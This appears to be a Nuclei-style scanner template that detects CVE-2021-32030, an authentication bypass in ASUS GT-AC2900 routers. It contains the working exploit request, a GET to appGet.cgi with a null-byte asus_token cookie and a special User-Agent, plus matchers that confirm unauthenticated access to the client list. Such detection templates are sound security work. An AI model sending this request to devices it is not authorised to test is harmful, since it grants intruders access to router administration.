id: CVE-2021-32030

info:
  name: ASUS GT-AC2900 - Authentication Bypass
  author: gy741
  severity: critical
  description: The administrator application on ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations.
  reference: https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass
  tags: cve,cve2021,asus,auth-bypass,router
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-32030
    cwe-id: CWE-287

requests:
  - raw:
      - |
        GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
        Host: {{Hostname}}
        User-Agent: asusrouter--
        Referer: {{BaseURL}}
        Cookie: asus_token=\0Invalid; clickedItem_tab=0

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - application/json

      - type: word
        words:
          - "get_cfg_clientlist"
          - "alias"
          - "model_name"
        condition: and